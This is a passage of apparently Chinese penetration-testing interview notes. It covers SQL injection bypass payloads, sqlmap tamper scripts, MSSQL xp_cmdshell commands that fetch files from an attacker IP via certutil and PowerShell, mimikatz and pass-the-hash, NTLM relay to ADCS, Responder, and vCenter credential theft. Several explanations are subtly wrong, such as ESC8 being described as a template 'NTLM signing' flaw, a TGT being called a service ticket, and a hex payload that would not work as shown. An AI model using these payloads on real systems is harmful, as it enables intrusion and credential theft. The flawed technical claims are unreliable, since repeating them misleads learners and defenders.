    • 更具体的绕过: id=1 and 1=2 可以被改写为 id=1 or not 1=1,这在布尔盲注中可以用来判断

3. 利用union select进行盲注

当布尔条件失效时,可以尝试使用 union select 来进行盲注

  • 原理:
    • 正常情况下,union select 需要前后两个查询的列数一致
    • 我们可以利用这一点,通过 union select 来注入一个不存在的列,从而触发数据库的报错,通过报错信息来判断
  • 绕过方式:
    • 首先,使用 union 探测列数。 id=1 union select 1,2,3...
    • 然后,利用列数来进行盲注。 id=-1 union select 1, 2, user() like 'root%' 如果页面正常回显,则说明 user()root 开头。通过这种方式,可以逐字逐句地猜解数据

4. 利用if()函数的替代品

在布尔盲注中,if() 函数通常是不可或缺的。如果它和 and or 一起被过滤,那么需要寻找替代函数

  • case when ... then ... end 这是 if() 函数最常见的替代品,功能完全一样,且通常不会被过滤
    • 例如: id=1 and (case when 1=1 then sleep(5) else 0 end)
    • 绕过: id=1 or (case when (database() like 'd%') then sleep(5) else 0 end)
  • greatest()least() 这两个函数返回一组值中的最大值和最小值。我们可以利用它们来构造条件判断
    • 例如: id=1 and greatest(1, (select if(1=1, 0, 1)))
    • 绕过: id=1 or greatest(ascii(substr(database(),1,1)), 100)>100

5. 利用其他查询特性

当所有常用方法都被过滤时,可以尝试利用一些非常规的查询特性

  • having 子句: having 用于对 group by 的结果进行过滤。在一些情况下,having 后面可以接子查询,可以利用这一点进行注入
  • limit offset 我们可以通过 limitoffset 来逐行读取数据,再结合其他技术进行判断

SQLMap 自带脚本有哪些

1. 编码与混淆(绕过签名检测)

这类脚本通过对注入语句进行编码或转换,来改变其特征,以躲避基于签名的检测

  • **charencode.py**:对所有字符进行 URL 编码,适用于 URL 编码绕过
  • **randomcase.py**:将 SQL 关键字的字母大小写随机化
    • 示例: SELECT -> sELeCT
  • **space2comment.py**:将空格替换为 SQL 注释 /**/
    • 示例: SELECT user FROM users -> SELECT/**/user/**/FROM/**/users
  • **space2mysqlblank.py**:用 MySQL 专有的空格字符(如 Tab、换行符)替换空格
  • **base64encode.py**:对整个注入语句进行 Base64 编码。需要目标网站解码才能生效

2. 空白字符与分隔符替换

这类脚本利用不同数据库对空白字符的解析差异来绕过过滤

  • **apostrophemask.py**:将单引号 ' 替换为 UTF-8 编码的 '
  • **equaltolike.py**:将等号 = 替换为 LIKE 关键字
    • 示例: id=1 -> id LIKE 1
  • **unionalltounion.py**:将 UNION ALL 替换为 UNION,在某些情况下可能绕过过滤
  • **space2plus.py**:将空格替换为加号 +,但需要注意这可能影响语句语义

3. 语义与结构混淆

这类脚本通过改变语句的逻辑结构,来使注入语句看起来像正常的查询

  • **between.py**:将大于等于 >= 替换为 BETWEEN
    • 示例: id>=1 -> id BETWEEN 1 AND 999
  • **ifnull2casewhenisnull.py**:将 IFNULL(A, B) 替换为 CASE WHEN ISNULL(A) THEN B ELSE A END

4. 绕过 WAF 的特定脚本

这些脚本通常针对特定的安全产品或通用 WAF 规则

  • **modsecurityzeroversioned.py**:在 SQL 语句后添加 /*-!11111*/ 来绕过 ModSecurity WAF 的特定规则
  • **xforwardedfor.py**:在 HTTP 请求头中伪造 X-Forwarded-For 字段,以绕过基于 IP 的限制
  • **sp_password.py**:在有效载荷的末尾添加 sp_password 来绕过 MS-SQL Server 的日志记录

扫出后缀为 .asp 的数据库文件,访问乱码如何利用

这是最常见的情况。利用步骤如下:

  • 使用工具直接打开
    • 使用 Microsoft Access 软件直接打开。这是最直接的方式
    • 使用 Navicat PremiumDBeaver 或其他支持 .mdb 格式的数据库管理工具打开。这些工具通常兼容性更好,即使文件头被修改,也可能能识别并打开
  • 获取敏感信息
    • 打开数据库后,立即检查所有表(Tables)
    • 重点关注
      • 管理员表:通常命名为 adminusersmanager
      • 用户表:通常包含 usernamepasswordemail 等字段
      • 配置表:可能包含数据库连接字符串、API 密钥等
      • 订单/客户信息表:包含用户的个人隐私数据
  • 破解加密密码
    • 如果密码字段是加密或散列(hash)的,需要进一步处理
    • 常见哈希类型:MD5、SHA1 等
    • 破解方法
      • 在线查询:如果哈希值是常见的,可以尝试在 HashKillerCrackstation 等在线网站查询。
      • 字典破解:使用 John the RipperHashcat 等工具,配合强大的密码字典进行暴力破解。
      • 彩虹表:使用预先计算好的彩虹表进行快速查询

找到一个注入点怎么判断对方什么数据库

1. 报错信息判断

最直接的方法就是观察数据库的报错信息。如果网站没有对错误信息进行处理,数据库的报错会直接显示在页面上,通常包含了数据库的名称或版本信息

  • MySQLYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
  • SQL ServerMicrosoft OLE DB Provider for SQL ServerIncorrect syntax near '...
  • OracleORA-01756: quoted string not properly terminated
  • PostgreSQLPostgreSQL query failed: ERROR: parser: parse error
  • SQLitesqlite_query()SQL syntax error

2. 特有函数和语法判断

即使没有报错信息,你也可以通过注入特定数据库的函数或语法,观察页面的响应来判断。这种方法常用于盲注场景

MySQL

  • version()and 1=1 and version()。如果页面返回了版本号(如 5.5.53),那就是 MySQL
  • sleep()and sleep(5)。如果页面延迟了 5 秒,那很有可能是 MySQL
  • user()and user()
  • database()and database()
  • load_file()and load_file('/etc/passwd')

SQL Server

  • @@versionand 1=1 and @@version。如果页面返回版本信息,则是 SQL Server
  • xp_cmdshelland 1=1;exec xp_cmdshell('ping 127.0.0.1')--。如果请求延迟,可能存在命令执行漏洞
  • db_name()and db_name()
  • system_userand system_user

Oracle

  • userand user
  • sys.dba_tablesand 1=1 and (select count(*) from sys.dba_tables)。如果返回正常的页面,说明存在这张表
  • dbms_pipe.receive_message()and 1=1 and dbms_pipe.receive_message('a',5)。可以用来进行带外信道(OOB)注入

PostgreSQL

  • pg_sleep()and pg_sleep(5)。如果页面延迟,很可能是 PostgreSQL
  • version()and version()
  • pg_databaseand 1=1 and (select count(*) from pg_database)

3. 不同数据库的查询差异

每种数据库的查询语法都有一些细微的差别,可以利用这些差异来判断

  • 字符串拼接
    • MySQLunion select 'a','b'
    • SQL Serverunion select 'a'+'b'
    • Oracleunion select 'a'||'b'
  • 注释符号
    • MySQL/PostgreSQL-- (后面需要加空格)、#
    • SQL Server/Oracle--
    • 内联注释/**/ 可以在多种数据库中使用

单引号被过滤怎么绕过

1. 使用双引号

如果后端代码在 SQL 查询中使用了双引号 " 来包裹字符串,那么你可以尝试用双引号进行注入

原始查询: SELECT * FROM users WHERE username = "$username"

注入尝试: username=" or 1=1 -- "

最终执行的 SQL: SELECT * FROM users WHERE username = "" or 1=1 -- "

这种情况并不常见,因为多数开发者会优先使用单引号。但它是一个很好的起点,值得尝试

2. 使用十六进制编码

有些数据库(如 MySQL)允许使用十六进制编码来表示字符串。你可以将单引号 ' 或整个字符串(如 or 1=1)进行十六进制编码,然后通过 0x 前缀传入

原始查询: SELECT * FROM users WHERE id = '...注入点...'

注入尝试: 假设你要注入 or 1=1,单引号 ' 的十六进制是 0x27' or 1=1 -- 的十六进制是 0x27206f7220313d31202d2d20

完整 URL 注入: id=0x27206f7220313d31202d2d20

最终执行的 SQL: SELECT * FROM users WHERE id = 'or 1=1 -- '

虽然这看起来很直接,但实际应用中,你需要将整个注入语句进行十六进制编码,因为后端可能不仅过滤单引号,还可能过滤其他关键字

3. 使用宽字节注入

宽字节注入是一种专门针对 PHP 的 addslashes() 函数和 magic_quotes_gpc 配置的绕过技术。在某些字符集(如 GBK)中,一个汉字占用两个字节

当服务器使用 addslashes() 函数时,它会将单引号 ' 转义为 \'。在 ASCII 编码下,\ 的十六进制是 0x5c'0x27,所以 \' 就是 0x5c27

但如果后端数据库使用了 GBK 编码,且它将 0x5c 和它前面的一个字节组合成一个汉字时,那么 \' 中的 \ 就会被“吃掉”,从而使得后面的单引号 ' 重新生效

攻击步骤:

  1. 找到一个 GBK 编码的网站
  2. 在 URL 中注入一个宽字节,例如 %df
  3. 然后注入单引号

注入尝试: id=1%df%27

服务器端处理:

  1. PHP 的 addslashes() 函数收到 %df'
  2. 它在 ' 前面加上 \,变成 %df\'
  3. URL 编码后,%df\' 变为 %df%5c%27
  4. 当这个字符串传到数据库时,GBK 编码会把 %df%5c 当作一个汉字,%27 就会单独留下,恢复成单引号 '

最终执行的 SQL: SELECT * FROM users WHERE id = '1運''... ('運' 是一个汉字) 后面的 ' 就成为我们控制的单引号,可以用来闭合语句

4. 使用反斜线 \ 绕过 addslashes

在某些情况下,如果后端代码没有过滤反斜线,你可以通过注入一个反斜线来“吃掉” addslashes 自动添加的反斜线

原始查询: SELECT * FROM users WHERE id = '...注入点...'

注入尝试: id=1\'

服务器端处理:

  1. PHP 的 addslashes() 函数收到 1'
  2. 它在 ' 前面加上 \,变成 1\'
  3. 如果前端的输入是 1\'addslashes 会将 \' 变为 \\'

这个方法需要深入理解后端如何处理输入。如果后端代码只对单引号进行了转义,而没有对反斜线进行处理,你就可以用一个反斜线来闭合它

5. char() 函数绕过

char() 函数可以将数字转换为字符。你可以利用这个函数来构造单引号

注入尝试: id=1 and 1=1 and (select char(39)) id=1 union select 1,2,3 from users where username=char(39)adminchar(39)

这种方法通常用于绕过对特定字符串(如 ')的过滤,但不能绕过对整个注入语句的过滤

6. 使用 like 语句绕过

在某些盲注场景下,如果无法使用单引号,可以尝试使用 like 语句来代替 unionand

注入尝试: id=1 and 1 like 1 and 1=1 -- id=1 and 1 like database()

这种方法适用于特定的 SQL 语句结构,但并非万能


MySQL 一个 @ 和两个 @ 的区别

@(用户自定义变量)

一个 @ 符号代表用户自定义变量(User-Defined Variables)。这种变量是用户在当前会话中手动创建的,它的生命周期只存在于当前 MySQL 连接会话中。当会话结束时,变量也会被释放

特点:

  • 创建与赋值:可以使用 SETSELECT ... INTO 语句来赋值
    • SET @var_name = value;
    • SELECT column INTO @var_name FROM table;
  • 作用域:仅在当前连接会话中有效。一个用户设置的 @var_name 无法被其他用户连接访问
  • 用途:常用于存储临时数据、在多条 SQL 语句中传递值,或者在存储过程、函数中作为临时变量

示例:

1
2
3
4
5
6
7
-- 在当前会话中设置一个变量
SET @total_price = 100;

-- 使用该变量进行计算
SELECT @total_price * 1.1 AS price_with_tax;

-- 在另一个新的连接中,@total_price 变量是不存在的,它的值为 NULL。

@@(系统变量)

两个 @ 符号代表系统变量(System Variables)。这些变量是 MySQL 服务器预先定义好的,用于控制服务器的各种行为和状态

系统变量分为两种:

  • 全局系统变量 (@@global.var_name):影响 MySQL 服务器的所有会话。需要有 SUPER 权限才能修改
  • 会话系统变量 (@@session.var_name@@var_name):仅影响当前连接会话。它的值会继承自全局变量,但可以在会话中被单独修改,且不会影响其他会话

特点:

  • 查看:可以使用 SHOW VARIABLESSELECT @@var_name 来查看
  • 修改:使用 SET 语句进行修改
    • SET GLOBAL max_connections = 200;
    • SET SESSION sql_mode = 'STRICT_TRANS_TABLES';
    • SET sql_mode = 'STRICT_TRANS_TABLES';SESSION 是默认的)
  • 用途:管理和调整数据库的各种配置,如最大连接数、字符集、缓冲区大小、SQL 模式等

示例:

1
2
3
4
5
6
7
8
9
10
11
-- 查看当前会话的字符集
SELECT @@character_set_client;

-- 查看全局最大连接数
SELECT @@global.max_connections;

-- 在当前会话中改变 SQL 模式,不影响其他会话
SET sql_mode = '';

-- 在所有会话中改变 SQL 模式 (需要 SUPER 权限)
SET GLOBAL sql_mode = 'STRICT_TRANS_TABLES';
特性 @ (用户变量) @@ (系统变量)
全称 User-Defined Variable System Variable
创建者 用户自定义 MySQL 服务器预定义
作用域 仅当前会话 全局或当前会话
主要用途 存储临时数据,方便在多条 SQL 中传递 管理和配置服务器行为
生命周期 会话结束即失效 随服务器启动而加载
可否修改 用户随时可改 全局需要 SUPER 权限,会话可自由修改

为什么 MMSQL 存储过程可以执行命令

1. xp_cmdshell 存储过程

这是 MSSQL 中最著名,也是最危险的命令执行功能

原理

xp_cmdshell 是一个扩展存储过程(extended procedure)。它允许你在 SQL Server 内部执行操作系统的 cmd.exe 命令

当你执行 EXEC xp_cmdshell 'dir c:\' 时,SQL Server 会:

  1. 启动一个 cmd.exe 进程
  2. 将你的命令作为参数传递给 cmd.exe
  3. 将命令的输出结果以行的形式返回到 SQL Server 的结果集中

使用条件

默认情况下,从 SQL Server 2005 开始,xp_cmdshell 处于禁用状态。要成功利用它,需要满足以下两个条件:

  • 权限:你必须拥有 sysadmin 服务器角色或**CONTROL SERVER**权限,这是因为 xp_cmdshell 默认只授予这些高权限用户

  • 启用配置xp_cmdshell 必须通过以下 SQL 命令手动启用:

    1
    2
    3
    4
    sp_configure 'show advanced options', 1;
    RECONFIGURE;
    sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;

在渗透测试中,如果成功通过 SQL 注入或其他方式获得了高权限,你就可以执行这些命令来启用 xp_cmdshell,然后执行任意系统命令

2. 其他相关的危险存储过程

除了 xp_cmdshell,MSSQL 还有其他一些可以执行命令或辅助命令执行的存储过程,但它们不像 xp_cmdshell 那样直接

sp_addextendedproc

  • 原理:这个存储过程允许你将一个外部 DLL 文件注册为 SQL Server 的扩展存储过程
  • 用途:如果攻击者能上传一个恶意的 DLL 文件到服务器,就可以利用 sp_addextendedproc 将其注册为一个新的扩展存储过程,然后通过执行这个过程来执行恶意代码,从而绕过 xp_cmdshell 的禁用限制

CLR 集成(SQL CLR)

  • 原理:SQL Server 允许你使用 .NET 语言(如 C#)编写存储过程、函数、触发器等。这些代码可以调用 .NET 框架中的类库,包括那些可以执行系统命令的类,如 System.Diagnostics.Process
  • 用途:攻击者可以编写一个恶意的 C# 代码,将其编译成 DLL,然后加载到 SQL Server 中。这是一种更隐蔽、更强大的命令执行方法,因为它不依赖于 xp_cmdshell

如果想通过 MMSQL 上传文件需要开启哪个存储过程的权限

1. 利用 xp_cmdshell 存储过程(最常见)

如前面所述,xp_cmdshell 是执行系统命令的利器。一旦你获得了执行 xp_cmdshell 的权限(通常是 sysadmin),就可以通过它来执行命令行下的文件上传操作

  • 所需权限sysadmin 服务器角色或 CONTROL SERVER 权限,并且 xp_cmdshell 必须已启用

  • 实现方法

    • 方法一:利用 certutil 下载文件 这是最常见且非常实用的方法,它利用 Windows 自带的 certutil.exe 工具来下载文件

      1
      EXEC xp_cmdshell 'certutil.exe -urlcache -split -f "http://<攻击机IP>/<文件名>" "c:\\<文件保存路径>\\<文件名>"';

      这种方法的好处是,certutil 是 Windows 系统自带的,不容易被杀毒软件拦截

    • 方法二:利用 PowerShell 下载文件 使用 PowerShell 的 Invoke-WebRequestNet.WebClient 方法来下载文件

      1
      EXEC xp_cmdshell 'powershell.exe -c "Invoke-WebRequest -Uri http://<攻击机IP>/<文件名> -OutFile c:\\<文件保存路径>\\<文件名>"';

      或者使用更简单的别名:

      1
      EXEC xp_cmdshell 'powershell.exe -c "iwr http://<攻击机IP>/<文件名> -OutFile c:\\<文件保存路径>\\<文件名>"';
    • 方法三:利用其他命令行工具 如果目标机器上安装了 wgetcurl 等工具,你也可以使用它们

2. 利用数据库的 OPENROWSETBULK INSERT

这种方法相对不那么常见,但如果 xp_cmdshell 被禁用,这是一种可以尝试的备选方案。它主要利用 MSSQL 强大的文件处理能力

  • 所需权限

    • sysadminbulkadmin 角色
    • BULK INSERT 需要对目标文件夹有写权限,并且 OPENROWSET 必须启用 Ad Hoc Distributed Queries
  • 实现方法

    • 方法一:OPENROWSET 这种方法可以从一个共享网络路径(UNC Path)读取数据,并插入到数据库表中。虽然它主要用于数据导入,但你可以利用它将文件内容导入到数据库,再通过其他方式导出

    • 方法二:BULK INSERTOPENROWSET 类似,BULK INSERT 也能从网络共享路径读取文件数据

      1
      2
      3
      4
      5
      6
      BULK INSERT MyTable
      FROM '\\<攻击机IP>\share\<文件名>'
      WITH (
      ROWTERMINATOR = 'EOF',
      DATA_SOURCE = 'MyDataSource'
      );

      这种方法需要 MSSQL 服务的运行用户对网络共享路径有读取权限

3. 利用 SQL CLR 集成

这是一种高级且隐蔽的上传文件方法。如果你能够执行 SQL CLR 代码,你就可以编写一个 .NET 存储过程,该存储过程包含文件读写功能

  • 所需权限sysadminEXTERNAL ACCESS ASSEMBLY 权限
  • 实现方法
    1. 用 C# 编写一个可以从 URL 下载文件并保存到本地的 DLL
    2. 将 DLL 文件上传到服务器,或者通过 xp_cmdshell 下载
    3. 使用 SQL 命令将 DLL 注册为 SQL CLR 程序集
    4. 执行你编写的存储过程,实现文件上传

6- 横向移动系列

CS 上线不出网机器用到的什么类型的 Beacon

SMB Beacon

SMB Beacon 是 CS 中专门用于内网横向移动和命令控制的类型。它的工作原理是利用 命名管道(Named Pipe),通过 SMB 协议 与目标机器上的 Beacon 进行通信

工作流程

  1. 初始上线:首先,您需要在内网中找到一台可以出网的机器,通常是已经通过常规方式(如 HTTP/S Beacon)上线的机器,我们称之为 “中继机器”
  2. 创建 SMB Beacon:在中继机器上,您可以使用 CS 的 psexecpsexec_pshwmi 等模块,通过 派生(Spawn) 的方式,将 SMB Beacon 部署到不出网的目标机器上
  3. 管道通信:一旦目标机器上的 SMB Beacon 启动,它会创建一个命名管道。中继机器上的 Beacon 会通过这个管道与目标机器上的 SMB Beacon 进行通信
  4. 命令传递:中继机器上的 Beacon 接收到来自您 Cobalt Strike 客户端的命令后,会通过 SMB 管道将其传递给目标机器上的 SMB Beacon。反之亦然,目标机器的执行结果也会通过管道返回给中继机器,最终传回您的客户端

优点

  • 隐蔽性强:SMB 协议在内网中非常常见,不易引起安全设备的警觉
  • 无需出网:这是它最大的优势,能够完美解决内网不出网机器的上线问题
  • 横向移动:它是 CS 进行内网横向渗透的核心组件之一

HTTP/S Beacon with Domain Fronting (域前置)

虽然严格来说,域前置 并不是一种 Beacon 类型,但它是一种非常有效的技术,可以帮助 HTTP/S Beacon 伪装流量,从而绕过一些网络限制,间接实现不出网机器的上线

工作原理

域前置利用了内容分发网络 CDN 的特性。CDN 允许一个请求的 主机头(Host Header) 和实际连接的 IP 地址不一致

工作流程

  1. 正常流量:攻击者在 CS 中将 Beacon 的 C2 地址设置为 CDN 的域名(如 cdn.microsoft.com),而实际上 Beacon 会向 CDN 的 IP 地址发送请求
  2. CDN 代理:当 CDN 收到请求后,它会根据 HTTP 请求中的 Host 字段,将请求转发到攻击者在 CDN 上配置的真实 C2 服务器
  3. 绕过限制:对于不出网的机器,如果它的网络策略允许访问 CDN 节点的 IP,那么它就可以成功将流量发送出去,因为在它的网络视角中,它只是在访问一个合法的 CDN 资源,而不会被认为是恶意流量

优点

  • 伪装性强:流量看起来像是访问合法的大型云服务商或 CDN,难以被检测
  • 绕过防火墙:可以绕过一些基于域名的白名单或黑名单策略

现在在域外有一台工作组机器的权限但没有域用户且无法直接通过漏洞进入域内,请问这种情况怎么进入域中找到域控

1. 探索工作组机器与域的关联

虽然这台机器不属于域,但它可能与域内的资源或用户有业务往来,这些连接就是你的切入点

  • 检查 DNS 设置:查看这台工作组机器的 DNS 服务器地址。如果它指向了域内的 DNS 服务器,那么它很可能与域有信任关系
    • 命令ipconfig /allGet-DnsClientServerAddress
    • 目的:获取DNS服务器IP,这个IP很可能就是**域控制器(DC)**的IP,因为DC通常也作为域内的DNS服务器
  • 查找映射的共享:检查这台机器是否映射了域内的网络共享(如 \DC\share)
    • 命令net useGet-SmbConnection
    • 目的:如果存在映射,你可能会找到域用户的凭据缓存,或者在共享中找到敏感文件
  • 查看凭据缓存:这台机器上可能缓存了域用户的登录凭据,这是最重要的突破口
    • 命令:利用 mimikatzsekurlsa::logonpasswords 命令来转储内存中的凭据
    • 目的:如果某个域用户曾用这台工作组机器远程登录过(例如 RDP),或者访问过域内的共享资源,其密码哈希很可能被缓存下来

2. 利用服务和信任关系

即使没有找到域用户的凭据,你仍然可以利用工作组机器与域之间的服务信任关系

  • Kerberos 服务票据:Windows 系统在用户登录后会生成 Kerberos 服务票据(TGT)。虽然这台机器不属于域,但如果一个域用户曾通过它访问过域内服务,那么票据可能被缓存下来
    • 工具mimikatzkerberos::list /full 命令
    • 目的:获取并导出 Kerberos 票据。有了这些票据,你就可以在不拥有密码哈希的情况下,以该用户的身份访问域内的其他服务
  • SMB 会话:通过检查这台机器与域内其他机器之间的 SMB 会话,你可以发现更多潜在的攻击路径
    • 命令net sessionGet-SmbSession
    • 目的:找到与域内机器建立的会话,这可能表明存在可利用的信任关系

3. 利用凭据重用进行横向移动

如果你的信息收集成功,找到了一个域用户的凭据哈希,恭喜你,你已经有了进入域的第一把钥匙

  • 利用哈希重用:使用找到的哈希进行**哈希传递(Pass-the-Hash)**攻击

    • 工具Metasploitpsexec 模块或 Impacket 工具包中的 psexec.py
    • 命令psexec.py <域>/<用户名>@<目标域机器IP> -hashes <哈希>
    • 目的:通过这个哈希,你可以尝试登录域内的其他机器,例如域成员服务器、其他域成员工作站,甚至是域控制器本身。如果这个用户是域管理员,那么你就直接成功了
  • 破解哈希:如果哈希无法直接利用(例如在 NTLMv2 认证环境中),你可以尝试离线破解这个哈希,获得明文密码

    • 工具HashcatJohn the Ripper
    • 目的:一旦获得明文密码,你可以使用它进行传统的登录攻击,或者使用其他攻击工具进行横向移动

    利用 NTLM Relay 配合 ADCS 这个漏洞的情况需要什么条件

1. NTLM Relay 攻击的基本原理

NTLM Relay 的核心是中间人攻击。攻击者位于客户端和服务器之间,截获并重放 NTLM 认证会话

  1. 客户端发起认证请求:域内的一台机器(客户端)向攻击者控制的机器发起一个 SMB 或 HTTP 等协议的连接
  2. 攻击者截获并转发:攻击者截获客户端的 NTLM Challenge/Response 认证信息(但无法破解出明文密码)
  3. 攻击者重放认证:攻击者将这个认证信息原封不动地转发另一台域内机器(目标服务器),冒充客户端进行认证
  4. 目标服务器验证通过:目标服务器认为这个认证信息是合法的,并允许攻击者以客户端的身份进行访问

这里的关键是,攻击者没有破解密码,而是直接利用认证过程,将受害者的身份“重放”给了目标服务器

2. ADCS 漏洞(ESC8)的核心原理

Active Directory Certificate Services (ADCS) 是微软提供的一个证书颁发机构(CA),用于管理公钥基础设施(PKI)

漏洞(也被称为 ESC8)存在于一些不安全的证书模板配置中。当一个证书模板被配置为:

  • Certificate Authority Authorization (CA Authorization) 权限不安全,允许低权限用户或匿名用户注册
  • 并且模板允许**客户端认证** (Client Authentication)
  • 最重要的是,模板设置了 NTLM 签名禁用 (NTLM Signing Disabled)

在这种配置下,攻击者可以利用 NTLM Relay 攻击,将受害者的身份信息中继到 ADCS 服务器,以受害者的身份请求一个证书。这个证书将用于后续的 Kerberos 认证

3. NTLM Relay 配合 ADCS 的完整攻击链

将两者结合后,攻击链变得异常强大,因为攻击者不再需要找到一个可以被利用的文件共享远程桌面服务,而是将认证重定向到一个特定的 ADCS Web 页面

  1. 诱导受害者发起认证:攻击者需要想办法让域内一个用户或计算机(受害者)向自己发起一个认证请求
    • 强制认证:通过强制用户访问一个恶意 UNC 路径(例如 \\<攻击机IP>\share),Windows 系统会自动尝试使用 NTLM 认证来访问这个共享
    • 钓鱼攻击:通过发送恶意链接(例如 file:///<攻击机IP>/payload.html)给受害者
  2. 启动 NTML Relay 服务器:攻击者使用专门的工具(如 ntlmrelayx.py)来监听并重定向认证
  3. 重定向认证到 ADCS:当受害者发起认证请求时,ntlmrelayx.py 会捕获 NTLM 认证信息,并将其重定向到 ADCS 的一个特定 HTTP 页面
    • 重定向 URL 示例http://<ADCS服务器IP>/certsrv/certfnsh.asp
  4. 以受害者身份请求证书:ADCS 服务器接收到重定向的 NTLM 认证后,会认为这是受害者在请求证书。由于模板配置不安全,它会为攻击者颁发一个带有受害者身份信息的有效证书
  5. 利用证书获取 Kerberos 票据:攻击者获取到这个证书后,可以使用 Rubeus.exe 或其他工具,利用证书请求一个Kerberos 票据(TGT)
  6. 实现 Kerberos 认证:有了这个 TGT,攻击者就可以以受害者的身份访问域内的所有服务。如果这个受害者是域管理员,攻击者就实现了域的完全控制,包括创建新用户、修改组权限等

4. 攻击链的利用条件总结

要成功执行这种攻击,必须满足以下所有条件:

  1. NTLM Relay 环境:攻击者必须能够位于一个可以拦截和重定向 NTLM 认证请求的网络位置
  2. 受害者认证:攻击者需要找到一个可以被诱导、向攻击机发起 NTLM 认证的受害者,通常是域内的一台机器或一个用户
  3. 不安全的 ADCS 模板配置:这是最关键的条件,也是漏洞的根源。ADCS 模板必须存在以下缺陷:
    • Enrollment Rights(注册权限):允许低权限用户或匿名用户请求证书
    • Client Authentication:证书可以用于客户端认证
    • NTLM Signing Disabled:ADCS 服务器的 HTTP 接口没有启用 NTLM 签名验证
  4. 域内存在未打补丁的 ADCS 服务器:服务器必须运行一个易受攻击的 ADCS 版本,并且其证书模板存在上述配置缺陷

继上题,Responder 应该开在哪台机器上,为什么

为什么必须开在攻击者的机器上?

要理解 Responder 的工作原理,你需要知道它在整个攻击链中扮演的角色:

1. 监听和嗅探

Responder 的第一步是监听本地网络接口上的流量。它会嗅探那些没有找到对应服务器的协议请求,例如:

  • LLMNR:Windows 机器默认的域名解析协议,用于在局域网内解析主机名。当 DNS 解析失败时,它会向所有机器广播查询
  • **NBT-NS:另一个 Windows 机器常用的广播协议
  • MDNS:多播 DNS

2. 欺骗和响应

当 Responder 嗅探到这些广播查询时,它会立即伪造一个响应,声称自己就是客户端正在寻找的目标服务器。例如,如果客户端正在寻找 FILESERVER,Responder 会立即响应:“我就是 FILESERVER,请连接我。”

3. 拦截和重放

一旦客户端被欺骗,它会尝试向 Responder 伪造的“服务器”发起连接,并发送自己的 NTLMv2 哈希进行身份验证

Responder 会拦截这个哈希,并将其保存下来。攻击者可以稍后对这个哈希进行离线破解,获取明文密码,或者直接进行 NTLM Relay 攻击

4. 攻击链中的位置

想象一下,你在一场对话中扮演一个冒名顶替者

  • 你的机器:Responder 就是你的冒名顶替者。它坐在你的电脑上,等待有人大声询问“FILESERVER 在哪儿?”
  • 受害者机器:受害者就是那个大声询问的人。它没有找到 FILESERVER,所以向整个网络广播求助
  • 真正的服务器FILESERVER 可能根本就不在线,或者 DNS 配置有问题
  • 攻击过程:你的 Responder 迅速回应,将受害者引向你,而不是它想找的真正服务器

继上题,为什么 ADCS 这个漏洞能获取域管理员权限,原理是什么

1. ADCS 漏洞(ESC8)的核心原理

ADCS 漏洞(也被称为 ESC8,因为它是由 SpecterOps 发现的攻击链之一)是配置缺陷而非代码漏洞。攻击者利用的是 ADCS 证书模板中的一个或多个不安全配置

一个典型的可被利用的证书模板具有以下特征:

  • 权限配置不安全:这个证书模板的“注册(Enrollment)”权限被授予了低权限用户,甚至是匿名用户。这意味着,任何人都可以向证书颁发机构(CA)请求一个基于这个模板的证书
  • 用途配置不安全:这个证书模板的用途(Extended Key Usage)被设置为 Client Authentication,这意味着它颁发的证书可以用于客户端身份验证
  • 不安全的证书主体名(Subject Name):这个模板允许请求者自定义证书中的主体名(Subject Name)。主体名是用于在 Kerberos 认证中识别用户身份的关键字段

2. 攻击链的详细步骤

  1. 信息收集:攻击者首先需要通过侦察,找到域内存在的 ADCS 服务器,并识别出那些配置不安全的证书模板

    • 工具Certify.exe 是一个常用的工具,可以扫描域内的 ADCS 服务器,并列出所有证书模板的配置,高亮显示那些存在漏洞的模板
    • 关键信息:攻击者会寻找那些 Client Authentication 权限开启、且主体名可控的模板
  2. 以低权限用户身份请求高权限证书

    • 攻击者使用一个低权限的域用户,或者通过前面提到的 NTLM Relay 等方法,以任何一个普通域用户的身份,向 ADCS 服务器发起证书请求
    • 在请求时,攻击者利用模板允许自定义主体名的缺陷,将请求的主体名(Subject Name)设置为一个高权限用户,例如域管理员
    • 为什么能成功? 理论上,CA 应该验证请求者的身份和其请求的主体名是否匹配。但由于模板配置不安全,CA 没有进行这项验证,直接颁发了一个证书,其主体名是攻击者指定的域管理员
  3. 利用证书获取 Kerberos TGT

    • 攻击者获得这个伪造的证书后,就可以使用像 Rubeus.exe 这样的工具
    • Rubeus 可以利用这个证书,向域控制器发送 Kerberos 认证请求。这个过程被称为 PKINIT,是 Kerberos 协议的一个扩展,允许客户端使用证书进行身份验证
    • 为什么能成功? 域控制器会看到这个证书,并根据证书中的主体名(Subject Name)来识别用户身份。它会认为这个请求来自一个合法的域管理员,并为其颁发一个域管理员的 Kerberos 票据(TGT)
  4. 域完全控制

    • 一旦攻击者获得了域管理员的 TGT,就相当于获得了域管理员的密码哈希,可以伪造任何其他用户的票据(Golden Ticket),或者使用 psexecWMI 等工具,在不提供密码的情况下,以域管理员的身份执行任意命令,从而实现对整个域的完全控制

    如果拿到了一套 vCenter 的权限,如何去进一步深入利用

1. 信息收集与环境侦察

首先,我会利用 vCenter 的管理界面和 API,收集环境信息,为后续攻击做准备

  • 资产清单:我会列出所有 ESXi 主机、虚拟机、数据存储和虚拟网络。我会特别关注虚拟机的操作系统类型(Windows/Linux)、IP 地址、以及它们所处的网络段,这对于绘制内网拓扑至关重要
  • 用户与权限:我会检查 vCenter 上的用户和组,识别出域管理员或拥有 vCenter Administrator 角色的用户。这些账户是核心目标。同时,我会检查是否有不活跃或配置不当的账户
  • 配置信息:我会深入了解 vCenter 的配置,比如是否与 Active Directory 集成、是否有 SSO 登录、使用的证书信息等。这些信息有助于后续的横向移动和持久化

2. 横向移动与权限提升

利用 vCenter 的权限,我可以直接对 ESXi 主机和虚拟机进行操作,这是最具杀伤力的利用方式

  • 虚拟机快照与内存转储
    • 原理:vCenter 允许你创建虚拟机的快照,并可以获取虚拟机的内存快照(Memory Snapshot)。内存快照包含虚拟机当前运行状态下的所有数据,包括内存中的凭据
    • 利用:我会选择一台运行 Windows 操作系统的虚拟机,创建它的内存快照。然后,我会下载这个内存快照文件(.vmem 文件)
    • 离线分析:在我的攻击机上,我会使用 Volatility 等内存取证工具,离线分析 .vmem 文件,从中提取出各种凭据,比如明文密码NTLM 哈希Kerberos 票据等。这是一种非常高效的凭据窃取方式,而且通常不会被虚拟机内的杀毒软件或 EDR 解决方案察觉
  • 创建新的虚拟机
